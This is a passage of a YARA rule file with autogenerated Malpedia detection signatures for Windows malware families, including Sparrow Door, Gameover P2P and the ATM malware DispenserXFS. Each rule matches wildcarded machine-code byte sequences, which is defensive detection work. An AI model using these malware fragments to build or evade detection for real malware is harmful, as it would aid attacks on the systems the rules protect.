		$sequence_0 = { 50 57 8d0451 e9???????? 8b4614 3bf7 746d }
		$sequence_1 = { c745ec07000000 668945d8 e8???????? 837dec08 8d4dc4 6a04 51 }
		$sequence_2 = { 50 8d8dd0fdffff e8???????? 6a1f 68???????? }
		$sequence_3 = { 8da5f4feffff 8b4df4 64890d00000000 59 5f }
		$sequence_4 = { 83bd8cfdffff00 7435 51 8d8d94fdffff e8???????? }
		$sequence_5 = { e8???????? 83c404 ffd6 2bc7 3de0930400 76cf 68???????? }
		$sequence_6 = { 56 8bf1 8b4e10 3bca 0f8214020000 8b450c 53 }
		$sequence_7 = { c745c000000000 8b08 50 ff5108 8b45b8 8d55c0 }
		$sequence_8 = { 6a00 8bcf e8???????? 8b4db4 85c9 7444 ff75b0 }
		$sequence_9 = { 85db 744e 8bcb 8d5101 6690 8a01 }
	condition:
		7 of them and filesize < 589824
}

rule MALPEDIA_Win_Farseer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a66e9913-f269-5edc-a360-d1e8d3201a95"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.farseer_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "a0cc6c15e80fbd6ad14902af9a89ab7d523ee3b95c547b4caf6b73d387698705"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b46f4 8b4804 c74431f49c064200 8b56fc 8b4204 c74430fc???????? 8b4ef4 }
		$sequence_1 = { 8b4d0c 8bfb e8???????? 8b4c2414 8b3d???????? }
		$sequence_2 = { 68???????? 8d4c2440 c74424580f000000 c744245400000000 c644244400 e8???????? }
		$sequence_3 = { 8b7d14 8bc7 3bc7 7300 8bd7 83ff01 7205 }
		$sequence_4 = { 51 c78424a000000002000000 e8???????? 68???????? 8d542450 52 }
		$sequence_5 = { ffd5 85c0 7e2f 03f0 81fe00040000 7ce1 33c0 }
		$sequence_6 = { 6a00 51 c684241409000000 e8???????? 83c40c 8dbc2408090000 }
		$sequence_7 = { ff15???????? 6804010000 8d54245a b901000000 52 }
		$sequence_8 = { 8d048520634200 83e31f 8985e4efffff 8b00 c1e306 03c3 8a4824 }
		$sequence_9 = { 64890d00000000 59 5f 5e 5d 5b 8b8c24a0020000 }
	condition:
		7 of them and filesize < 347328
}

rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b7f0c30-0206-5506-9bf8-8eb817cff417"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.op_blockbuster_auto.yar#L1-L322"
		license_url = "N/A"
		logic_hash = "ef3bbaff4dfd2be69511dd31c3bf7441917e62af8119f46abb34c10cb6a977e8"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c701???????? 8b497c 85c9 7407 51 }
		$sequence_1 = { 57 683c400000 6a40 ff15???????? }
		$sequence_2 = { e8???????? 85c0 7407 83f802 }
		$sequence_3 = { ff15???????? 6808400000 6a40 ff15???????? }
		$sequence_4 = { 56 e8???????? 68???????? 56 a3???????? e8???????? 83c440 }
		$sequence_5 = { f3ab 66ab aa 5f 85f6 5e }
		$sequence_6 = { 8a08 80f920 7505 83c021 }
		$sequence_7 = { 8d45fc 6a04 50 57 ff15???????? }
		$sequence_8 = { 85c0 7412 68???????? 50 e8???????? 59 a3???????? }
		$sequence_9 = { 56 50 8d45fc 6a04 }
		$sequence_10 = { 3c70 7f04 0409 eb06 }
		$sequence_11 = { 3c69 7c08 3c70 7f04 }
		$sequence_12 = { 8bf0 ff15???????? 85f6 7404 85c0 }
		$sequence_13 = { 4863c1 48ffc7 448bc2 88940460010000 0fb607 84c0 }
		$sequence_14 = { 33c0 8bf8 488d8dd0020000 4863df ff15???????? 488d4c3302 488d95d0020000 }
		$sequence_15 = { a3???????? 5e c3 68???????? ff15???????? 85c0 7412 }
		$sequence_16 = { 57 e8???????? 56 e8???????? 83c414 b801000000 }
		$sequence_17 = { 666666660f1f840000000000 0fb603 48ffc3 884419ff 84c0 75f2 488d9580010000 }
		$sequence_18 = { 488d8d11010000 33d2 41b803010000 c6851001000000 e8???????? 4533e4 488d542460 }
		$sequence_19 = { 8bc6 5f 5e c3 33c0 6a00 }
		$sequence_20 = { 6a00 ff15???????? 8bf8 85ff 7504 5f 5e }
		$sequence_21 = { 89442440 888424c0020000 e8???????? 488d9424c0020000 }
		$sequence_22 = { c3 56 53 6a01 57 e8???????? }
		$sequence_23 = { c3 33c0 ebf8 53 33db 391d???????? 56 }
		$sequence_24 = { 0fb607 48ffc1 84c0 75ea 803f20 740a }
		$sequence_25 = { 68???????? 56 e8???????? 56 e8???????? 83c438 }
		$sequence_26 = { 897de0 394508 7c1f 3934bdd8974400 }
		$sequence_27 = { 83e03f c1ff06 6bd830 8b04bdd8974400 f644032801 }
		$sequence_28 = { 6bc830 8b0495d8974400 8b440818 83f8ff 7409 83f8fe 7404 }
		$sequence_29 = { 50 68???????? 6a05 8d856cffffff 57 50 }
		$sequence_30 = { 8bcb 8d84240c0c0000 83e103 50 }
		$sequence_31 = { c745d403000000 8975d8 8b08 52 }
		$sequence_32 = { 8d85e0fdffff d1fe 4e 56 50 }
		$sequence_33 = { e8???????? 6800040000 56 ff742414 ff15???????? 5f }
	condition:
		7 of them and filesize < 74309632
}

rule MALPEDIA_Win_Echo_Gather_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7335def2-506d-5260-8b0d-ff3650457aaa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.echo_gather"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.echo_gather_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "b9e20804863a93244aef376504c1242a73dc60c7321ec31adf915aed9161664d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4989d9 4d89fc 488b5c2430 4c8b7c2438 4589f0 4183fe39 0f8451030000 }
		$sequence_1 = { 488b45d8 4889c1 488b05???????? ffd0 e9???????? 8b45bc }
		$sequence_2 = { 74c4 b920000000 e8???????? 8b4324 83c001 894324 4183ed01 }
		$sequence_3 = { 48898424f8040000 488b842450040000 4889842400050000 66c78424e00400000000 e8???????? 4889c2 488b4d10 }
		$sequence_4 = { 743f 48c1ea20 7539 4883eb01 4889da e8???????? 85c0 }
		$sequence_5 = { 7561 4181fd7a000780 7409 4181fd26000780 75b4 }
		$sequence_6 = { 0f94c0 84c0 744a 8b45ec 89c0 4889c2 b940000000 }
		$sequence_7 = { 48c78424a800000011000000 c78424bc00000000000000 eb31 8b8424bc000000 4898 488b54c420 488b4510 }
		$sequence_8 = { 488d8c2450010000 488d942450020000 488d842450030000 4989c8 4889c1 e8???????? }
		$sequence_9 = { ba01000000 b9f1000000 e8???????? 488945f0 488b05???????? }
	condition:
		7 of them and filesize < 246784
}

rule MALPEDIA_Win_Sparrow_Door_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "91053f9d-da7f-5861-a669-343fc4d9f35e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sparrow_door_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "c57cb5bf7003c0c8f6009858f16b398bf1f07f6fd24e51a6f375d303f48a1e92"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4c242c 33ed 03e8 13cb }
		$sequence_1 = { ffd7 8b1d???????? 50 ffd3 3bc5 740c }
		$sequence_2 = { 53 51 885c241c e8???????? 83c40c 6882050000 8d542454 }
		$sequence_3 = { 83c414 8d542450 52 57 ff15???????? 85c0 0f8599feffff }
		$sequence_4 = { 50 c684242401000000 e8???????? 68f3010000 8d8c241d030000 56 }
		$sequence_5 = { 85c0 743c 8b442418 8d4c2414 51 6a0b }
		$sequence_6 = { 53 55 8b6c240c 57 6a00 6880000000 6a03 }
		$sequence_7 = { 8b35???????? ffd6 8b0d???????? 6a64 }
		$sequence_8 = { 837c242064 0f8d58010000 d16c241c 7508 }
		$sequence_9 = { 68ff1f0000 8d8c24c9000000 6a00 51 895c241c }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Tarsip_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "75e9f569-8d36-54c4-8e68-bdfe5fadb50e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tarsip_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "d620ca424e61c9ab1970fe1ca1122ff88c39fb4068349c8790c7e61013d76968"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895c2420 885c2410 6a25 68???????? 8d4c2414 899c243c010000 e8???????? }
		$sequence_1 = { 53 68???????? 8d4c247c c78424940000000f000000 899c2490000000 889c2480000000 }
		$sequence_2 = { b001 894c2410 88442414 0f85ff000000 8b742434 8b4614 8b4e18 }
		$sequence_3 = { 7210 8b9424dc000000 52 e8???????? 83c404 84db 745c }
		$sequence_4 = { ff15???????? 5b 33c0 5e c3 57 6a00 }
		$sequence_5 = { 885c2470 6a0e 68???????? 8d4c2474 899c24bc0e0000 e8???????? 68ff000000 }
		$sequence_6 = { 51 c68424c801000000 e8???????? 8bbc248c000000 be10000000 83c40c 39b42494000000 }
		$sequence_7 = { 50 52 53 e8???????? 8b8690830000 8b08 }
		$sequence_8 = { 8d44242c 50 8d4c242c 51 8d542424 52 ffd6 }
		$sequence_9 = { eb03 897e08 8b5118 392a 7520 807f4500 7404 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Seasalt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53347621-44c1-525f-89d0-f50b729b9b9d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seasalt_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "efb41d41f20a6c99bb3444a374f65b02c8e63a28ca4361b924bf5bfe71fe1970"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d842474010000 6804020000 50 51 ffd5 }
		$sequence_1 = { f7d1 2bf9 8d9578fcffff 8bc1 8bf7 8bfa 8d9578fdffff }
		$sequence_2 = { eb26 8d4508 8db67ccb0010 6a00 50 ff36 }
		$sequence_3 = { 33c0 53 57 8a1c10 }
		$sequence_4 = { 81ec90010000 8d442400 50 6801010000 ff15???????? f7d8 1bc0 }
		$sequence_5 = { 6a00 8d55e8 6a08 52 50 ffd3 8d4de0 }
		$sequence_6 = { 8d8c247c010000 6880000000 51 ff15???????? b981000000 }
		$sequence_7 = { 83f964 7d08 8a4301 43 3c2f 75eb }
		$sequence_8 = { a1???????? 53 53 68???????? 8d942484000000 6800020000 }
		$sequence_9 = { 51 ff15???????? 8d542412 52 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Nokki_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5dc3d6e8-6868-523c-9edf-f4ac449ab566"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokki_auto.yar#L1-L149"
		license_url = "N/A"
		logic_hash = "0fb121b3fe7dee465d08717e2553d7155ecc791f48d5f128590e890ccc5d33a8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 33d2 68ce070000 52 }
		$sequence_1 = { e8???????? 33c9 68ce070000 51 }
		$sequence_2 = { a1???????? a3???????? a1???????? c705????????b7634000 }
		$sequence_3 = { 8b550c 83c41c 6a00 6880000000 }
		$sequence_4 = { 8945ca 8945ce 668945d2 e8???????? 33c0 8945d6 8945da }
		$sequence_5 = { c745ec5c374000 894df8 8945fc 64a100000000 8945e8 8d45e8 }
		$sequence_6 = { 51 52 ff15???????? 85c0 0f85b1010000 8b957ce8ffff }
		$sequence_7 = { 8d8db4f7ffff 51 68???????? 56 ffd3 }
		$sequence_8 = { e8???????? 33c0 8d4dac 51 668945ac 8945ae }
		$sequence_9 = { e8???????? 83c404 8bf0 8d850cf8ffff }
		$sequence_10 = { 68???????? eb10 6a0b 68???????? eb07 6a0d }
		$sequence_11 = { 83c40c 6bc930 8975e0 8db1a0e94000 8975e4 eb2b }
		$sequence_12 = { 888888e84000 40 ebe6 ff35???????? }
		$sequence_13 = { e8???????? ebde 8bc8 83e01f c1f905 8b0c8d80054100 c1e006 }
	condition:
		7 of them and filesize < 454656
}

rule MALPEDIA_Win_Bookcodesrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f4de16d7-c6b7-5d95-8f65-784498dd67cf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bookcodesrat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "86df5d17676a07501443cee06a4988ba13f3d4cc771e2022b238854a7e0b8406"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c785f8010000097c504a 66c785fc0100004c4a c685fe0100006a 8845c8 488945c9 8945d1 668945d5 }
		$sequence_1 = { 33d2 41b848090000 897c2444 897c2440 e8???????? 41ff942490000000 488d4c2444 }
		$sequence_2 = { 4883c002 bf0c000000 488906 eb05 bf0b000000 488d4c2420 488bd3 }
		$sequence_3 = { 33d2 41b808020000 e8???????? 0fb754245c 0fb74c2458 0fb744245a 0fb77c2456 }
		$sequence_4 = { e8???????? cc 8b4b28 488b4308 498bd4 }
		$sequence_5 = { 4885c9 7406 ff15???????? 4883bb7002000008 720c 488b8b58020000 e8???????? }
		$sequence_6 = { 488bd0 e8???????? 89442438 41b901000000 488d8b30330000 488d542438 458d4103 }
		$sequence_7 = { 66f2af 48f7d1 4c8d41ff 488d55c0 488d4d90 e8???????? }
		$sequence_8 = { 488bf1 488d151bbd0200 488d0d30d50200 e8???????? 4883c9ff 488bfe 488bd8 }
		$sequence_9 = { 32c2 ffc2 3433 428884058f070000 83fa14 7ce4 4863c2 }
	condition:
		7 of them and filesize < 544768
}

rule MALPEDIA_Win_Photolite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53c3df95-9bf0-54a3-a4f4-6196a8124e14"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photolite_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "f9046ee3a914a22a767c3824ddb8832f1006b7774a4b79556e164865f1d4f92c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883f905 72e4 889db4010000 ba7e32f11a c785b801000035578374 }
		$sequence_1 = { 4803cf 493bce 72e8 889d2c010000 c78530010000d857fc49 }
		$sequence_2 = { c785e4020000b434516d c785e8020000813e467c c785ec02000097355758 c785f00200008022253d }
		$sequence_3 = { 4c897020 55 488da858f9ffff 4881eca0070000 33db }
		$sequence_4 = { c78568040000bb4e5450 c7856c040000a94d1c35 8b8560040000 8a855c040000 }
		$sequence_5 = { c78530060000a8eeaa04 c78534060000a8fbc56a 8b8520060000 8a851c060000 }
		$sequence_6 = { 72e8 889dd0030000 baff978142 c785d403000094f2f32c c785d80300009afbb270 c785dc030000d1f3ed2e }
		$sequence_7 = { c74548ba572c54 8b4540 8a453c 84c0 7518 }
		$sequence_8 = { 4885c0 0f8419010000 488b15???????? 4885d2 7517 ba01000000 33c9 }
		$sequence_9 = { 488bcb 0f1f4000 66660f1f840000000000 8b448c24 35e6845659 }
		$sequence_10 = { 41b8956927f2 e8???????? 488d4dd0 ffd0 b001 }
		$sequence_11 = { 0f114020 0f104a30 0f114830 488b05???????? }
		$sequence_12 = { 488d4c2430 41ffd0 85c0 7527 8b442420 2b442428 03442424 }
		$sequence_13 = { 488d85a0010000 448838 488d4001 4883eb01 75f3 41b001 488d8da0010000 }
		$sequence_14 = { 4d8d0480 0fb602 83e107 410200 41320429 }
		$sequence_15 = { e8???????? b9100e0000 ffd0 488d95f0030000 4489bdf0030000 488d0d72aaffff e8???????? }
	condition:
		7 of them and filesize < 99328
}

rule MALPEDIA_Win_Abcsync_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "02af896d-ede7-5659-a477-3d4aaff1c995"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abcsync"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abcsync_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "1265b61a325fe240ea536a84f366a66df81cfa15aa46380fd4f4b2886a744626"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b15???????? 41be2c010000 33c9 458bc6 ff15???????? 488b15???????? 4533e4 }
		$sequence_1 = { 8d4108 410fb64c1a07 4898 422a0c18 b81f85eb51 }
		$sequence_2 = { ba01000000 85c9 7e13 8bc1 0f1f840000000000 c1e204 }
		$sequence_3 = { 4c63c2 488bcb 33d2 e8???????? 8b542454 418bfc 4c8b35???????? }
		$sequence_4 = { 488d4c2420 c74424205c595f6a c74424245c653601 e8???????? 488905???????? 488b4c2428 }
		$sequence_5 = { 2bc8 8d411c 4898 420fb60c18 410fb7441a36 662bc1 418d491d }
		$sequence_6 = { 488d057d3b0100 488945e0 895128 488d0d17950000 488b45d8 488908 488d0d69200100 }
		$sequence_7 = { 75d4 0f1101 498bd1 0f114110 0f114120 0f114130 0f114140 }
		$sequence_8 = { 03d0 6bc232 2bc8 8d4116 420fb64c13fb 4898 422a0c18 }
		$sequence_9 = { 2bc8 8d4121 420fb64c13fe 4898 422a0c18 }
	condition:
		7 of them and filesize < 348160
}

rule MALPEDIA_Win_Scarecrow_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4797137-49f1-5101-9dc1-24aec16a402a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarecrow_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "3c26486fac68aa14cbad0f26e91bc7559e11337af778c6912a8bda339578018a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645d951 c645da70 c645db4c c645dc70 c645dd2b c645de70 c645df16 }
		$sequence_1 = { c645d55b c645d678 c645d77c c645d878 c645d928 c645da78 c645db7c }
		$sequence_2 = { 40 74ec 5f 5e b801000000 5b }
		$sequence_3 = { 56 6a49 68d340dedd ba0f000000 8bf1 e8???????? 83c408 }
		$sequence_4 = { 99 f7fb 85d2 74d8 8a06 8bde 84c0 }
		$sequence_5 = { 757b b905000000 8b45fc 99 f7f9 85d2 7405 }
		$sequence_6 = { be05000000 0f1f440000 8b45b8 99 f7fe 85d2 7405 }
		$sequence_7 = { 59 e9???????? c745dc03000000 eb7c c745e030024300 ebbb d9e8 }
		$sequence_8 = { c745e030024300 e9???????? 83e80f 7451 83e809 7443 83e801 }
		$sequence_9 = { 7528 e8???????? 85c0 0f847f020000 e8???????? 6a4d }
	condition:
		7 of them and filesize < 501760
}

rule MALPEDIA_Win_Dispenserxfs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dcad1348-3e3e-5861-ac43-e7a329125581"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispenserxfs_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "8f86c5e67886e9169f08b08ef67943d3d51f035e4bbfcd62571f895fcd1de81c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? e8???????? 8b4c242c 83c41c 8bc1 }
		$sequence_1 = { 58 6689854affffff 33c0 66898574ffffff 8d45cc }
		$sequence_2 = { 75ee 83c004 0fb708 66890f }
		$sequence_3 = { 68???????? e8???????? 59 ff75fc ff15???????? eb0d }
		$sequence_4 = { 47 84c0 75f8 8bca 8d85f8eeffff c1e902 f3a5 }
		$sequence_5 = { 0f84e6000000 0fb74106 50 0fb74104 50 }
		$sequence_6 = { 57 8d45f0 8bd9 50 6860ea0000 33f6 895de4 }
		$sequence_7 = { 0f8408010000 33f6 8bcb 894df4 663bf2 0f83f8000000 57 }
		$sequence_8 = { 6683f802 750b 8b4c2408 e8???????? eb10 0fb6c1 50 }
		$sequence_9 = { 89b544ffffff 89b564ffffff 89b568ffffff 89b56cffffff 89b570ffffff 89b57cffffff }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Oni_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de723d64-30bf-5667-a979-f8186ef8b8cb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oni"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oni_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "e7a58256b76e741c7c3e2e9d7af61ce1190ab07a3a92bb457114a7c15de62838"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8c24f0000000 c78424040100000f000000 c784240001000000000000 c68424f000000000 }
		$sequence_1 = { 83f904 0f828d000000 83f923 0f8789000000 8bc8 }
		$sequence_2 = { 8b4804 8d41f8 89840d14ffffff 8d4580 50 c74580b83a4300 e8???????? }
		$sequence_3 = { 7603 6a26 58 0fb60c8536bf4200 0fb6348537bf4200 8bf9 8985b4f8ffff }
		$sequence_4 = { 7420 6bc618 57 8db86c854300 57 ff15???????? }
		$sequence_5 = { 8bc1 83e13f c1f806 6bc930 8b048590884300 f644082801 7406 }
		$sequence_6 = { 83e03f c1ff06 6bd830 8b04bd90884300 f644032801 7444 837c0318ff }
		$sequence_7 = { 8b550c 3b5df0 0f82cefeffff eb20 8b0c8d90884300 }
		$sequence_8 = { 8d85f8fdffff 6a00 50 e8???????? 83c40c 8d85f8feffff }
		$sequence_9 = { eb02 33f6 53 8d4dd0 e8???????? 807dd400 750a }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Gameover_P2P_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fe20a97c-206c-5c98-87a9-4b574fa239f7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_p2p_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "0a805dc64b5619969bf73a86439d36461e7cd7fd50eef8d82014a2fb996a9dce"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
